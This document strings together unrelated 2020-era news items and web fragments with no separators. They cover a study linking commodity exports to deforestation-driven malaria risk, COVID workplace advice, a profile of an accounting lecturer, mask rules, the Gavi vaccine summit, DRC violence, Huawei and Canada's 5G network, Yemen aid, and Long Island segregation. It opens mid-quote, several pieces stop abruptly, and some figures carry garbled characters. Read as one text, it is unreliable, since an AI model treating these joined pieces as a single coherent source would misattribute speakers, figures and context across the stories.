Lenzen maintains a database on international trade covering 189 countries and sources such as the World Trade Organization and World Bank, among others. We know from the data who sells what and where, who they sell to, who processes the commodities, and where the processed end-products are consumed. For example, certain countries buy cocoa, produce chocolate and export to the rest of the world. All links in the supply chain were taken into account." Maria Anice Mureb Sallum, Professor, FSP-USP

According to Suveges, more than 1 billion commodity trade routes were analyzed by Lenzen and his group using high-performance computing. "Malaria incidence correlates closely with landscape change due to deforestation, which favors the proliferation of vectors and exposes human communities to these insects," Suveges explained. "So, we attributed part of the total number of malaria cases to deforestation and called it 'malaria risk,' meaning how many cases there would be in the presence of deforestation but in the absence of public health interventions to control the disease, such as insecticide-impregnated mosquito netting and artemisinin-based drug treatment. Part of this risk is associated with the world trade in commodities."

The researchers selected the countries that had cases of malaria and deforestation hotspots and cross-tabulated this dataset with commodity supply chain data, particularly for the final destinations of the goods in question. They concluded that 10% of deforestation-linked malaria risk was associated with ten countries that import these commodities: Germany, the United States, Japan, China, the United Kingdom, France, Italy, Spain, the Netherlands, and Belgium.

The demand for certain commodities in these countries may exacerbate the malaria risk for 10.7 million people in low-income net exporting countries, mostly in sub-Saharan Africa.

Malaria risk by numbers

Deforestation-implicated malaria risk, as defined by the researchers, was highest in Nigeria, corresponding to 5.98 million cases in 2015. These were due in part to exports of timber to China (USD 332?million in 2015) and exports of cocoa beans to the Netherlands (USD 334?million), Germany (USD 72 million), and Belgium, France, Spain and Italy (USD 35 million), as well as exports of charcoal to Europe (USD 35 million).

Next came Tanzania, with 5.66 million people at risk of deforestation-linked malaria in 2015, partly owing to exports of raw tobacco to Europe and Asia (USD 344 million), raw cotton to Southeast Asia (USD 41 million), and sawn timber to India (USD 20 million).

Uganda had 5.49 million deforestation-linked malaria risk cases, potentially driven by exports of raw coffee to Italy (USD 88 million in 2015), Germany (USD 63 million), Belgium (USD 40 million), the United States and Spain (USD 21 million each) and to a lesser extent by exports of raw cotton to South and Southeast Asia (USD 15 million).

Finally, the authors write that deforestation-linked malaria in Cameroon (5.49 million risk cases) could be connected to exports of cocoa to the Netherlands (USD 300?million), Spain, Belgium, France and Germany (altogether USD 79?million in 2015), rough timber to China (USD 175?million), and sawn timber to China, Belgium, Italy, the United States, and many other destinations (altogether USD 440?million).

According to the article, other countries with high levels of deforestation-linked malaria risk were (in descending order) DR Congo, India, Zambia, Myanmar, the Central African Republic, and Burundi. Their main trading partner was China, to which they mainly exported timber.

In a supplementary note to the article, the authors add that Chinese imports of commodities in 2015 accounted for 1.7 million cases of malaria in countries where deforestation is linked to the production and export of the commodities in question. Next came imports by Germany, accounting for 1.5 million cases, followed by Japan (986,000), the United States (770,000), the United Kingdom (815,000), Italy (595,000), the Netherlands (581,000), Spain (466,000), France (463,000), and Belgium (361,000).

Insufficient compensation

"It's striking that the US, the UK, France, Germany and Japan, some of the main importers of malaria-implicated products, provide financial support for malaria control programs, especially in sub-Saharan Africa," Suveges said.

However, the numbers do not add up. In 2017, global investment in malaria control and prevention totaled USD 3.2 billion, with high-income donors providing 72%. However, the authors write that malaria-endemic countries bore 28% of the total, which was less than half of what was required to reduce malaria morbidity and mortality rates in line with Health Target 3.3 of the Sustainable Development Goals (SDGs) proposed for 2030 by the United Nations.

The countries that produce and export commodities remained in this position throughout the period analyzed, Sallum stressed. "We know from previously published studies that malaria is affected by the social impact of economic development, when people have better housing and better conditions for land use, all of which protects them. If commodity exporters became suppliers of manufactured goods, they would add more value to their production, and their societies would benefit. This in turn could reduce the need for deforestation and mitigate malaria risk," she said.

"However, the fact that supply chain roles don't change demonstrates the inequality prevailing in these relations. Commodity prices are set by the importers."
Since the outbreak of the coronavirus pandemic, much the US economy has been in a state of hibernation. As America has quarantined to slow the spread of the novel coronavirus, hundreds of businesses, schools, parks, places of worship, and government buildings have closed their doors to the public.

But as we enter the month of May, things are beginning to change. States like Georgia have decided to reopen wide swaths of their economies, while stay at home orders in seven other states have expired. Differences aside, it's clear that, at some point, all fifty states will once again be open for business.

Officials have been careful to stress, however, that things may never return to what we considered "normal" in the pre-COVID-19 world. Workplaces will have to conform to new public health standards. California Governor Gavin Newsom announced in late April that business may be required to redraw their floorplans to preserve adequate social distancing.

When your employees begin to return to work in the next month or two, things will be vastly different from when they last came to work in mid-March.

We sat down with Amit Raizada, who has spent nearly 20 years as CEO of Spectrum Business Ventures, to gain some valuable insights on how to readjust your team to the workplace.

Patience

Raizada believes the most important trait employers can demonstrate during this tricky time is patience.

"Most of your employees haven't been in the office since early March," Raizada said. "While many initially struggled to develop an efficient 'work from home' routine, by now most of your employees are fully adjusted - and that's a double-edged sword."

Raizada said that returning to the office will be the second major disruption to their daily routines in just as many months.

"Society has asked workers to make significant structural changes to their daily lives to combat COVID-19, and just as they've started to get used to these new routines, things will once again be turned upside down," he said.

Raizada recommends giving employees the benefit of the doubt during their first few weeks back.

"Their lives have been turned upside down, and while we all want to get back to work, we can't just pretend like nothing happened," he said. "Many have faced economic hardship and some may have even lost loved ones. See this as a time to demonstrate benevolent leadership to your staff."

Remain Nimble

Transitioning from working in an office building to a living room in the span of just a few days forced teams to figure out how to be nimble and flexible. Companies had to adapt on the fly, developing new procedures and techniques remotely. Raizada said that it is imperative not to let that innovation go to waste.

"Your entire team figured out how to do something new - to take their office home - with the flip of a switch," Raizada said. "That's no small feat. As your team starts to return to the office, think about ways you can parlay that ingenuity into your business model. If your team can adapt on the fly for a pandemic, surely it can do the same for a client."

In many ways, this also helps offices prepare for the unknown, Raizada said.

"Doctors and health officials are warning that there could be a second wave of COVID-19 infections this upcoming fall or winter," Raizada said. "Just like in March, there's a very real possibility your team could once again have to transition to remote work in the span of a few days. Don't let the lessons you learned the first time around go to waste."
Giving up is just never an option for Hlengiwe Ndlela (33). She knows exactly how hard failure can knock one down. But she has overcome 'fail' multiple times, settling it with the final stamp of success. Today, she mentors scores of students into confident professionals because she knows sometimes all you need is someone to give you that rainbow of hope.

Hlengiwe Ndlela

Strong women

Life-changing phone call

I enjoy how exciting lectures can be, how practical and colourful I attempt to make auditing. I love how easy it is for students to come for consultation, and sometimes not necessarily about the module but about their careers in general. It gives me a great position to give mentorship even in an unstructured or informal setting as it changes the lives of the students. As a young lecturer, there is an element of relatability and my background gives a number of my students a lot of hope.

Believing in sustainable development

Ndlela's vibrant personality spills over into every facet of her life, from the students she inspires to achieve more with their lives right to the bold, beautiful colours of her African attire she is often dressed in.Shes a humble, strong woman, raised by strong women, who loves nurturing in any space she finds herself in. "They were all domestic workers. I am very close to my grandmother, and I think this is because of her attitude towards educational excellence. I remember in primary school, as much as she was a live-in domestic worker, she always attended my awards days and supported that part of my life strongly."Ndlela's Grade 6 mathematics teacher played a critical role in who she is today. Her uncle, a principal at Zamazulu Secondary School in Pietermaritzburg, was also a role model for her as a young lady, and always encouraged her to push for better results.Besides her analytical abilities that steered her towards the chartered accountancy profession, it was a woman who presented at a South African Institute of Chartered Accountants (Saica) Development Camp in 2003 who drew Ndlela to pursue a career as a CA(SA).However, in her second year of studies, she fell pregnant and sought support from her family. She promised to be done with her studies in 18 months to take over the parenting.So, when Ndlela failed CTA for the first time in 2008, she had no choice but to start working as she had an eighteen-month-old baby and a family that needed her support. She managed to find a job as an accounting teacher for grades 10 to 12 and did this for two years. After failing the CTA exam again on her two attempts post 2008, the CA(SA) dream began to fade, she admits. To make things worse, she was in an environment that had nothing to do with what she was studying.A phone call from EY Durban changed that. They told her she could start articles while studying towards her CTA. It was at this point where I wanted it again, where I saw myself worthy of the qualification again. With it being my fourth attempt, it was easy to lose confidence and self-belief. However, giving up was not an option, especially when I had someone believe in my abilities. Being allowed to study part-time and work in an environment that was relevant and with people who understood and supported my studies, I was able to achieve my CTA, Ndlela says.Today she is an auditing lecturer and researcher in the School of Accounting, Economics and Finance at the University of KwaZulu-Natals Westville Campus and is pursuing her PhD. She was also a panellist on the young academics segment of the 2019 Forbes Africa Woman Leading Women Summit and she aspires to be Dr Hlengiwe Ndlela in five years timeNdlela is also a Thuthuka programme manager and her students have achieved a 97% pass rate in the 2019 academic year. In addition, for the 2018 and 2019 academic years, she co-assisted with the establishment and running of an intervention programme for African CTA students at UKZN."My babies, the African and coloured students funded by the Thuthuka Education Upliftment Fund, call me Mah or Mom due to the relationship we have. It gives me so much joy to have the resources to help assist our 'babies' to achieve their goals."A few of the other projects she is involved with is 1Woman1Girl mentorship, a non-profit she co-founded with the goal to empower women, one girl at a time. She runs Grade 9 career day workshops for over 900 learners, mentors high school girls and also collects donations of sanitary towels for primary school girls in a drive to keep girls in school in Inanda North in Durban."It gives my African sisters and brothers hope that they, too, can achieve their goals  not only just as CAs(SA) but whatever goal they seek to achieve regardless of where they come from, how they were raised, how little they have," she says.Ndlela sits on the KZN regional committee for the Advancement of Women Chartered Accountants (AWCA) and is a national board member, where she looks after the trainee chapter in the region. She recently served as the secretary of the KZN region of the Association for the Advancement of Black Accountants of Southern Africa (ABASA), fostering youth development and providing support for aspiring black CAs(SA) in the region. She also volunteered at Meals on Wheels Community Services KwaZulu-Natal and Free State Area as the finance and audit committee chairperson and board member in light of elevating poverty through providing meals for South Africans in need.
We've already reported that from 15 June, people in England will be required to wear face coverings on public transport.



There's a bit of controversy, because the British Medical Association (which represents doctors in the UK) says the rule should be extended so it's compulsory to wear masks in all public places where social distancing isn't possible.



That is the new guidance from the World Health Organization, which has changed its stance on fabric face masks.



But what are the rules right now in other countries?



In the US, legislation around masks is decided on a state-level - or even at a county-level in some cases. New York state, for example, requires people to wear masks in any public place where social distancing isn't possible. However, the Centers for Disease Control and Prevention (CDC) recommends everyone wear masks when out in public.



Things are a bit more straightforward in Germany, where mask-wearing has been mandatory on public transport and while shopping since 22 April.



France brought in a rule on May 10, making face masks compulsory while out in public, ahead of the start of their lockdown easing a day later.



And in Ireland, while people are advised to wear masks while out in public, it isn't actually mandatory.



Meanwhile, wearing masks in crowded places was far from uncommon in parts of Asia even before the coronavirus pandemic struck, especially if people were ill.

Source: BBC









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
British Prime Minister Boris Johnson delivers a speech to the virtual Global Vaccine Summit at 10 Downing Street in London, Britain, on June 4, 2020. British Prime Minister Boris Johnson opened the Global Vaccine Summit virtually on Thursday, urging countries and organizations to pledge funding for vaccinations to save millions of lives in the poorest countries and protect the world from future outbreaks of infectious diseases. (Andrew Parsons/No 10 Downing Street/Handout via Xinhua)

LONDON, June 4 (Xinhua) -- British Prime Minister Boris Johnson opened the Global Vaccine Summit virtually on Thursday, urging countries and organizations to pledge funding for vaccinations to save millions of lives in the poorest countries and protect the world from future outbreaks of infectious diseases.

The summit hosted by Britain aims to mobilize at least 7.4 billion U.S. dollars for Gavi, the Vaccine Alliance, in additional resources to protect the next generation with vaccines, reduce disease inequality and create a healthier, safer and more prosperous world.

Addressing attendees from over 50 countries and organisations, Johnson said in his opening speech that the summit is a moment "when the world comes together to unite humanity in the fight against disease".

"I urge you to join us to fortify this lifesaving alliance and inaugurate a new era of global health co-operation, which I believe is now the most essential shared endeavour of our lifetimes," he added.

Britain is contributing 1.65 billion pounds (about 2.07 billion dollars) to Gavi over the next five years, according to Johnson.

In specific, the summit is expected to raise money to immunize a further 300 million children in world's poorest countries by 2025, protecting them from deadly diseases like polio, diphtheria and measles, and also helping ensure the global recovery from COVID-19 pandemic.

As the world focuses on tackling novel coronavirus, the World Health Organization (WHO), UNICEF and Gavi have warned that the pandemic is disrupting routine immunization, affecting approximately 80 million children under the age of one across the world.

Health experts have warned that if coronavirus is left to spread in developing countries, this could lead to future waves of infection reaching the developed countries including Britain.

If a safe and effective coronavirus vaccine is developed, Gavi will have a role in its delivery around the world.

Also on Thursday, Chinese Foreign Ministry spokesperson Zhao Lijian said China will provide support to relevant international organizations within its capacity and make contributions to vaccine accessibility and affordability in developing countries.

Zhao announced Wednesday that Chinese Premier Li Keqiang would deliver a speech at the virtual Global Vaccine Summit Thursday.

Zhao said the Chinese government upholds the vision of building a community with a shared future for humanity and attaches great importance to the development of global public health security.

China will offer support to international organizations including the WHO and Gavi within its capacity, and make contributions to boosting vaccine accessibility and affordability in developing countries, as well as the building of a community of health for all, he added.

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[ Editor: WXY ]
A new Australian study compares the impact of eighteen major life events on well-being. The research is unique and is the first to look at how significant life issues influence our emotions or happiness, and our life satisfaction.

As we all know, life is full of ups and downs. Major life events such as marriage, death of a loved one, divorce or bankruptcy all affect our well-being. Investigators compared the differing impact of these events on the happiness and life satisfaction and how long that impact lasts. The research is salient given the COVID environment and the new challenge to physical and economic health of many individuals.

Investigators examined 18 major life events, and how they affected a sample of 14,000 Australians between 2002 and 2016. The data was taken from the HILDA survey, which examines the social, health and economic conditions of Australian households using face-to-face interviews and self-completion questionnaires.

The study, The differential impact of major life events on cognitive and affective well-being, authored by researchers from the University of Technology Sydney (UTS) and the University of was Sydney. The paper itself appears in the journal SSM  Population Health.

Investigators discovered that some events, such as moving to a new house, getting fired or getting a promotion, had little impact on well-being, while others, such as the death of a partner or a large financial loss, had profound impacts.

Marriage, childbirth and a major financial gain produced the greatest elevation to well-being, however they did not lead to long-lasting happiness  the positive effect generally wore off after two years.

However, there was also an anticipatory effect for marriage and childbirth, with well-being increasing prior to these events, says lead researcher, UTS economist Dr Nathan Kettlewell.

The life events that saw the deepest plunge in well-being were the death of a partner or child, separation, a large financial loss or a health shock. But even for these negative experiences, on average people recovered to their pre-shock level of well-being by around four years, he says.

Researches believe that a better understanding of how life events impact well-being, and how long it takes to adapt, can help government and policy makers develop resources to improve the happiness and welfare of society.

A growing number of countries, including the UK, Iceland and New Zealand, as well as the OECD, are measuring well-being, alongside economic growth, as a way to gauge success in improving the lives of citizens, Dr Kettlewell says.

Information on well-being also helps clinicians and healthcare professionals better understand the repercussions of major life crises such as the death of a loved one, a health shock or job loss.

The researchers examined two different types of well-being.

The first was affective well-being, which reflected happiness, or the frequency and intensity of positive or negative emotions. The second was cognitive well-being, which refers to a more deliberate, goal-directed evaluation of life satisfaction.

While some life events such as marriage and retirement had positive effects on cognitive well-being, the net effect of positive events on affective well-being was close to zero.

Pregnancy and childbirth in particular saw the largest gap between the two domains. Measures of life satisfaction were quite positive in the first year after the birth of a child, while happiness or emotional well-being actually declined during this time.

The researchers also accounted for how life events often occur together, for example divorce and financial loss, to tease out the differing impacts.

The four most common life events were moving house, finding a new job, a serious injury or illness in a close family member and pregnancy. The least frequent were becoming widowed and getting married.

While chasing after happiness may be misplaced, the results suggest that the best chances for enhancing well-being may lie in protecting against negative shocks, for example by establishing strong relationships, investing in good health and managing financial risks, says Dr Kettlewell.

And we can take consolation from the fact that, although it takes time, well-being can recover from even the worst circumstances.

Source: University of Technology Sydney
Ukraine and Turkey are holding consultations on the resumption of scheduled flights between the two countries, Ukraine's Ambassador to Turkey Andrii Sybiha has said in an interview with Turkish newspaper Hurriyet.

"Ukraine and Turkey began consultations related to the launch of scheduled flights between our countries. In my opinion, this will be very important to maintain the dynamics of the tourist season this year. We hope to get good news on this subject in the near future," Sybiha said.

The diplomat said he was sure that Turkey would remain a priority destination for Ukrainian citizens, as it was before the coronavirus epidemic.

"Turkey has become one of the favorite holiday destinations for Ukrainians  this is a fact [] Last year, the number of tourists coming to Turkey from Ukraine exceeded 1.5 million. We received information from the Ministry of Culture and Tourism about what the tourist season will be like this year and forwarded it to the relevant authorities in Ukraine," the diplomat said.

He also recalled that from May 20, Ukrainian citizens were allowed to come to Turkey for treatment. Both countries had previously called for the resumption of flights from July 1.

op
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Unless otherwise stated all photos on this site are copyrighted  Jim Budd. They should not be used without authorisation and due credit. Please contact me on budmac@btinternet.com for all use. There will usually be a charge for use in commercial publications  papers, magazines, websites etc. and for other commercial uses. Photos that are used for commercial use without permission will be charged double  the fee for the use of photo and for breach of copyright. Commercial organisations asking to use photos for no payment may not always receive a polite response.
This week nijobfinder is highlighting jobs in the pharmaceutical and science sector. There are opportunities across Northern Ireland, from jobs at Queens University to roles at Randox.

Higher Scientific Officer (Marine Protected Areas Management Plans Officer) - AFBI

Agri-Food and Biosciences Institute Northern Ireland is recruiting a Higher Scientific Officer to contribute to and conduct scientific research as part of the Marine Protected Area Management and Monitoring project which aims to enhance cross border collaboration and capacity in managing Marine Protected Areas. Applicants should have a track record of successfully contributing to projects within this area of research. This is a 24-month full-time position.

Salary: 30,526 - 32,157

Location: Belfast

Find out more

Research/Analytical Technician - Queen's University Belfast

Queens University is currently seeking a QUILL Research/Analytical Technician to join the QUILL Research Centre providing specialist technical services, support for research projects and specialist equipment training. The new Technician will be expected to ensure high standards of operation and maintenance of QUILL analytical equipment enabling high quality work. This is a full-time fixed term contract until 28 February 2025.

Salary: 28,331

Location: Belfast

Find out more

Temporary Scientists - Randox

Randox has ramped up its COVID-19 testing capacity to help beat this disease but they are still in need of Scientists with exposure to real-time PCR and DNA extraction techniques. The roles will be based at the Randox Science Park in Antrim Town. Randox are particularly interested in hearing from candidates who have completed a Molecular related degree, Masters, PhD students or those who have already completed their PhD.

Salary: negotiable

Location: Antrim town

Find out more

Pharmacy Managers/Relief Pharmacists - Medicare Pharmacy Group

Medicare Pharmacy Group have a number of vacancies across Northern Ireland. Medicare is hiring Pharmacy Managers, Relief Pharmacists and Second Pharmacists. The current positions are available in Strabane Health Centre, Ballyclare Road Glengormley, Village Londonderry, Woodford Newtownabbey and Greater Belfast. There are both full-time and part-time positions available.

Salary: 25,000 - 35,000

Location: Throughout Northern Ireland

Find out more

Teacher of Physics to A Level - Slemish College

The Board of Governors of Slemish College are seeking to hire a teacher of Physics to A Level who will be required to plan and prepare courses and lessons and assess, record and report on the development, progress and attainment of students. Applicants must have qualified teacher status, hold a 2:2 (or above) honours degree and have experience of successfully teaching Science at Key Stage 3 and at GCSE level. This is a full-time temporary position for one year with the possibility of extension.

Salary: not disclosed

Location: Ballymena

Find out more

Never miss out on your dream job by signing up to nijobfinder today. Get job alerts by email, set handy reminders to apply for jobs, quickly apply from all devices and track your applications all in one place! It has never been easier to find your next career move.
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The number of victims has soared in recent weeks amid massacres and attacks in three eastern provinces.

About 1,300 civilians have been killed in separate conflicts involving armed groups and government forces in eastern Democratic Republic of the Congo (DRC) over the past eight months, with the violence forcing more than half a million people from their homes, the United Nations has said.

UN rights chief Michelle Bachelet warned on Friday some of the killings and displacement may amount to crimes against humanity and war crimes.

The number of victims has soared in recent weeks as conflicts have spreadin three eastern provinces  Ituri, North Kivu and South Kivu  with disastrous repercussions for the civilian population, according to the UN.

I am appalled by the increase in brutal attacks on innocent civilians by armed groups, and by the reaction of the military and security forces who have also committed grave violations, including killings and sexual violence, Bachelet said in a statement.

These are not only reprehensible and criminal acts, but they also break the trust between people and the state representatives, both security and political, she added.

In the absence of effective protection by state security forces, there is a serious risk that these communities will feel compelled to form self-defence groups, which would most likely exacerbate an already dire situation, Bachelet said.

Violence in Ituri

According to the UN Joint Human Rights Office in the DRC (UNJHRO), between October 1, 2019 and May 31, 2020, at least 531 civilians have been killed by armed groups in Ituri, 375 of them since March.

Congolese Armed Forces (FARDC) and police (PNC) also allegedly killed 17 civilians during the same period.

In Ituri, violence spread into new areas after the main armed group, CODECO, splintered following the killing of its leader, Ngudjolo Duduko Justin, on March 25.

A UN human rights report published in January and updated last week stated that since 2017, CODECO and other Lendu fighters have pursued a strategy of slaughtering local residents  mainly the Hema, but also the Alur  in order to control the natural resources in the region.

Other groups, including the Ndo Okebo, Nyali and the Mambisa, have been involved in the violence more recently.

Bachelet, who visited Ituri in January and met people maimed and displaced during the attacks by CODECO, said that the targeted communities have so far refrained from retaliating, however this could change.





In North Kivu, military operations by the government forces in November 2019 led to retaliatory attacks against civilians by the main armed group, the ADF, which by May 31 had killed at least 514 civilians using machetes, axes and heavy weapons, according to the UN.

State defence forces such as the FARDC are reported to have killed 59 civilians and the PNC to have killed 24. More than 400,000 people have been displaced in North Kivu.

FARDC operations have resulted in the ADF moving into areas previously unaffected by armed conflict, the UN warned. Like Ituri, there is a risk that self-defence groups will form, with civilians being caught in the middle.

Bachelet called on the Congolese authorities to establish authority in both conflict areas, including by introducing security forces and ensuring that they protect civilians rather than prey on them.

Protection of civilians is the responsibility of the state, and when the state leaves a vacuum, others tend to fill it. In DRC, past experience shows this can have catastrophic results. The generalised and systematic nature of some of the attacks on civilians in both Ituri and North Kivu may amount to crimes against humanity and war crimes, she said.





Clearly disproportionate

In South Kivu, at least 74 people have been killed since October and at least 36 women and children raped in a resurgence of ethnic-based violence between the Banyamulenge and the Bafuliro, Babembe, and Banyindu communities, the UN said.

More than 110,000 people, most of them women and children, have been displaced by the violence, which is being fuelled by hate speech disseminated through the media, social media and in public discourse, it added.

FARDC soldiers have killed at least 15 people and have committed sexual violence against 13 women.

Violence and killings have also been taking place in Kongo Central and Kinshasa. Between March 30 and April 24, at least 62 civilians were killed and 74 injured during seven operations conducted by the PNC and the FARDC against members of the politico-religious group Bundu Dia Kongo (BDK).

BDK followers have threated to expel foreigners from Kongo Central, and reportedly physically attacked some of them. They also reacted violently against the security forces, killing one police officer and wounding nine others.

The UN noted, however, the response of the security forces was clearly disproportionate, with police officers systematically using live ammunition to disperse unarmed crowds.
A crowd protests against Huawei on the steps of the B.C. Supreme Court during a hearing on CFO Meng Wanzhous extradition case in Vancouver May 27, 2020. (THE CANADIAN PRESS/Jonathan Hayward)

US Will Reevaluate Intelligence-Sharing with Canada if Huawei Participates in Countrys 5G: State Department

The U.S. State Department has said intelligence-sharing with Canada will be reevaluated if Chinese telecom giant Huawei is allowed to take part in building the countrys 5G wireless network.

Canada remains the only member of the Five Eyes intelligence alliance that has not yet taken a clear position on whether to block Huawei from its national 5G infrastructure, though the federal government has been reviewing the issue for nearly two years.

Well have to make an assessment if we can continue sharing intelligence with countries who have Huawei inside their most sensitive technology, in their most sensitive national security areas, State Department spokesperson Morgan Ortagus told CBC News on June 4.

During a press conference on June 4, Prime Minister Justin Trudeau did not respond directly when a reporter asked if he delayed the decision to ban Huawei Canadas 5G for fear of angering Chinese leader Xi Jinping.

Every step of the way we have listened to our security agency, our intelligence services, worked with our allies. Well make the right decisions for Canadians, to both keep Canadians and businesses safe while at the same time ensuring competitiveness in our telecom industry, Trudeau said.

Meanwhile, private telecom companies in Canada have moved ahead with choosing their business partners for their 5G networks. BCE Inc. and Telus Corp. announced on June 2 that they will be using components from European providers Ericsson and Nokia in their 5G systems.

Rogers Communications Inc., on the other hand, has had a long-standing partnership with Ericsson and was the first to activate 5G in Toronto and other provinces earlier this year. The companys vice-chair told Bloomberg last year that Huawei is a threat to Canada and should be barred from 5G networks.

The Trump administration has argued that Huawei poses major threats to U.S. national security because private companies in China are often compelled to provide sensitive information to the communist regime. Under espionage and national security laws in China, companies are required to hand over network data upon request.

On May 15, the U.S. Department of Commerce ramped up sanctions against Huawei by modifying the export control rules, aiming to protect U.S. national security by restricting Huaweis ability to use U.S. technology and software to design and manufacture its semiconductors abroad.

A recent Angus Reid survey showed that only 14 percent of Canadians think Huawei should be allowed to participate in the countrys 5G networks.

Last week, British media reported that Boris Johnsons government is looking to form a 10-member coalition with other countries to secure 5G supplier alternatives to Huawei. There has been increasing backlash against the Chinese regime in the U.K. over its handling of the COVID-19 outbreak.

Now caught in the U.S.-China crossfire over 5G, Canadas relations with China have already been tense since Hauwei CFO Meng Wanzhou was arrested in Vancouver in 2018 on a U.S. extradition request. In retaliation, two Canadians were detained in China and some Canadian exports to China were blocked.

On May 27, Associate Chief Justice Heather Holmes ruled in the British Columbia Supreme Court ruled that Mengs case meets the criteria for double criminalitymeaning that her charges could be tried as crimes in both the United States and Canada.
Bengaluru: Twitter has disabled US President Donald Trump's campaign's tribute video to George Floyd saying there has been a copyright complaint.

The tribute video, three minutes and forty five seconds long, was posted on June 3 on Twitter. Reuters
UN: Yemen 'hanging by a thread'

A conference this week of government donors to Yemen fell short of whats needed to address what UN Secretary General Antonio Guterres called the worlds largest humanitarian crisis" despite Saudi Arabia kicking in $500 million.

Guterres said Yemen is "hanging by a thread" with its institutions "facing near collapse" and its economy "in tatters." Out of an estimated population of 28 to 30 million, a staggering 24 million need assistance. Four million are displaced. Just this year, 110,000 Yemenis have contracted cholera. Seasonal floods could spark malaria and dengue fever outbreaks as well. Nearly half its population is under 15. A recent report by the UN Economic and Social Commission for West Asia explains the negative long-term impact of conflict on childrens development in Yemen and other Arab countries.

UN humanitarian coordinator and conference co-host Mark Lowcock added that COVID-19 is "spreading rapidly," making the situation "catastrophic."

Although there are so far just 453 reported cases of COVID-19 in Yemen, there have been 103 deaths, producing a mortality rate of 22.7% (compared to 5.8% worldwide). Because of the war and Yemens broken health infrastructure, the number of infected is believed to be much higher.

The donor conference this week, hosted virtually by the United Nations and Saudi Arabia, produced $1.35 billion in pledges, just over half of last years contributions.

Saudi Arabia, which has been an active participant in the Yemeni civil war, pledged $500 million, more than a third of all conference pledges.

Abdullah Al Rabeeah, the supervisor of the King Salman Humanitarian Aid and Relief Center (KSRelief), told Elizabeth Hagedorn that Saudi aid will be channeled to areas controlled by the Houthis, who have been at war with the Saudi-led coalition and are backed by Iran. Houthi separatist militias are reportedly using World Health Organization ambulances and diverting WHO-supplied COVID-19 materials to their military hospitals, a report that was confirmed to Al-Monitor by a WHO official.

We will continue to work with our key partners, donors and UN agencies and others to do the necessary monitoring to minimize any divergence, Rabeeah said. We believe that the Yemenis living in those regions deserve our attention.

KSRelief, established in 2015, has provided more than $3 billion in assistance to Yemen.

At the donor conference, Saudi Foreign Minister Prince Faisal bin Farhan Al Saud said the kingdom has provided $16 billion in assistance to Yemen overall.

Rabeeah dismissed reports by the UN and human rights groups that Saudi-led coalition forces deliberately targeted hospitals and civilians in the past.

I can assure you Saudi Arabia did not direct any airstrikes on the health care system, Rabeeah said. If it has happened, its by mistake and we do not shy from making that public to the media. We coordinate with many UN and non-UN agencies to ensure that vital, important structures will not be targeted.

UAE Ambassador to the United States Yousef Al-Otaiba told Al-Monitor that the challenge in Yemen today is no longer the actions of the Saudi-led coalition, but rather the increased fracturing of the Yemeni parties themselves, who cannot come to an agreement about the future of their country.

The UAE, a Saudi ally, withdrew from combat activity in June 2019, except for longstanding counter-terrorism operations.

Rabeeah said Saudi Arabia will likely end up giving more than pledged and that he expects the United States, which had already committed $225 million prior to the conference, will contribute more by the end of the year.

Meanwhile, gunmen killed photojournalist Nabil Hasan al-Quaety, another casualty in the assault on journalists and press freedom by warring sides in the war-torn country. Four Yemeni journalists have been sentenced to death by Houthi separatists for spreading "fake news," Ammar al-Ashwal reports.

Guterres tweeted that ending the war is the only solution. We explained in April why, in principle, Yemen should be too big to fail, and that absent a lasting cease-fire and political transition, Yemen, as well as Libya and Syria, risk collapse and chronic poverty and fragility.

World Bank: Palestinian economy faces 'alarming' financing gap

The World Bank reports that the Palestinian economy is headed for an alarming downturn in an already dire situation because of COVID-19.

According to the bank, the Palestinian economy is expected to shrink between 7.5% and 11% this year. A decline in revenues and increased spending to deal with the pandemic could lead to the Palestinian Authority budget deficit increasing from $800 million in 2019 to $1.5 billion in 2020. The percentage of poor households is projected to rise to 30% in the West Bank and 64% in Gaza. Youth unemployment is 38%. The report recommends that Israel and the PA agree on a new process on exit fees for the Allenby/King Hussein Bridge and that the PA shift to less regulation and take steps toward a digitally based economy.

Israel collects the tax revenues for the PA on imported goods. Rina Bassist reports that Israel stopped deducting from those tax revenues the PAs payments to families of Palestinians imprisoned in Israel or killed while committing terrorism, per a 2018 law backed by Yisraeli Beitenu leader Avigdor Liberman. The halt in deductions came because Defense Minister Naftali Bennett failed to submit a required report.

Daoud Kuttab reports on Palestinian diplomacy with the European Union, United Nations and Russia, to the exclusion of the United States (the fourth member of the Quartet) to attempt to gain traction on an alternative to the Donald Trump administrations "peace to prosperity" plan.

IMF: Jordans economic outlook worsens 'considerably'

Although Jordan appears to have so far managed the COVID-19 crisis with only 765 reported cases (in a population of over 10 million) and just nine deaths (a 1% fatality rate), the economic costs may be catastrophic.

The International Monetary Fund notes these positive steps, but reports that the "near-term economic outlook has worsened considerably." Jordans output is expected to decline, the fiscal deficit to grow, public debt to spike and a $1.5 billion balance of payment gap.

William Christou reports on how Israels threats to annex settlements in the West Bank and Jordan Valley may impact US-Jordan security cooperation.
Among the many viral videos of nationwide protests against police brutality this past week was a clip of a tense scene from Merrick, New York, a mostly white town on Long Island. On Tuesday, residents tried to block 100 Black Lives Matter protesters from marching down Merrick Road, yelling Get them the hell out of here!, and suggesting that they be rerouted to march through a more diverse town nearby.*

Undaunted, protesters returned on Wednesday, to scattered reports of conflict. The renewed demonstration was largely peaceful; this time, a viral video of 7-year-old protester Wynta-Amor Rogers marching and chanting dominated the coverage. Still, the incidents on Tuesday had some wondering: What is going on, out there on Long Island, given its location in a blue state and its proximity to liberal New York City? (The actor Billy Baldwin tweeted: I grew up near #Merrick  Lots of good people there but like many other towns on Long Island  far too many ignorant, intolerant pricks.)

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I spoke with Douglas Massey, a sociologist at Princeton University who writes about residential segregation, about Long Islands unique history, and its enduring divisions. Our conversation has been edited and condensed for clarity.

Rebecca Onion: What is it about Long Islands history that has left it so segregated in 2020?

Douglas Massey: Long Island, specifically Nassau and Suffolk counties, is an entirely suburban region. Although it was given its own designation as a metropolitan area, that was a political act rather than a demographic act. But it doesnt really have a central city, other than New York. Its entirely suburban.

As a suburban area, it was influenced very heavily by the housing policies that prevailed in the period from 1950 to the mid-1970s. When the suburban housing boom happened, and Levittown was created, and Long Island was built up, these suburbs were deliberately racially segregated by federal, state, and local policies.

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The Federal Housing Administration basically refused to grant mortgages to black borrowers to buy houses in the suburbs. The agency required inspection approval of the neighborhood as a suitable place to loan, and referred people to what are called residential security maps that coded neighborhoods according to their creditworthiness; black neighborhoods always got red [the practice known as redlining].

